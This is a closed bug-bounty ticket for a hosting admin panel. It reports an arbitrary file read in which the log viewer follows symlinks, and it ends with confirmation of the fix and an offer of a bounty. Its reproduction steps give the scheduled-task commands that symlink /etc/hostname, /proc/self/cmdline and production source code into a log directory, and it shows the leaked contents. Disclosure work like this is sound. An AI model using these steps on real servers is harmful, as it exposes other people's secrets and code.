- Status Closed
-
Assigned To
cbay - Private
Attached to Project: Security vulnerabilities
Opened by Siddharthsharma9449 - 20.11.2026
Last edited by cbay - 21.11.2026
Opened by Siddharthsharma9449 - 20.11.2026
Last edited by cbay - 21.11.2026
FS#562 - Arbitrary File Read via Symlink Following in Log Viewer
Summary
The admin panel's Apache log viewer follows symbolic links without validation. A customer can create a scheduled task that symlinks any server file into their log directory. The log viewer then displays that file's contents, allowing arbitrary file read on the host — including /etc/hostname, /proc/self/cmdline, and Production source code.
Steps to Reproduce
1. Create a scheduled task Admin Panel → Advanced → Scheduled tasks → Add URL: https://admin.alwaysdata.com/job/add/ - Type: Execute the command - Command: mkdir -p ~/admin/logs/apache/zzzz; ln -sfn /etc/hostname ~/admin/logs/apache/zzzz/apache-zzzz.log - SSH user: select your user - Frequency: Every 1 minute(s) - → Submit 2. Wait 1 minute for the task to execute 3. View the log — Proof 1: Server hostname URL: https://admin.alwaysdata.com/site/<your_site_id>/logs/?type=apache&name=zzzz Result: Page displays overlord-core — the server's /etc/hostname, not a log file. 4. Edit the task — Proof 2: Process command line Admin Panel → Advanced → Scheduled tasks → click your task Change command to: ln -sfn /proc/self/cmdline ~/admin/logs/apache/zzzz/apache-zzzz.log → Submit → wait 1 minute → reload the same log page Result: Page displays /data/www/production/aldjango/.venv/bin/python /data/www/production/aldjango/alwaysdata/core/scripts/sudo.py read... — reveals the privileged script that reads logs and the full production path. 5. Edit the task — Proof 3: Production source code Change command to: ln -sfn /data/www/production/aldjango/alwaysdata/core/apps.py ~/admin/logs/apache/zzzz/apache-zzzz.log → Submit → wait 1 minute → reload the same log page Result: Page displays **Alwaysdata's production Django source code** — import os import django.apps class CoreConfig(django.apps.AppConfig)... 6. Cleanup Edit task command to: rm -rf ~/admin/logs/apache/zzzz → Submit → wait 1 minute → delete the task.
Impact
- Read any file on the server — config files, secrets, credentials
- Read production source code — full access to alwaysdata's Django codebase
- Leak server internals — hostname, process info, internal paths
- Potential credential theft — database configs, API keys, environment variables
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Alwaysdata Arbitrary File Rea...
Hello,
Can you confirm that the vulnerability is fixed?
Kind regards,
Cyril
Hi, I have checked it, It is fixed. Should I claim reward?
Yes, you can claim your bounty by opening a support ticket.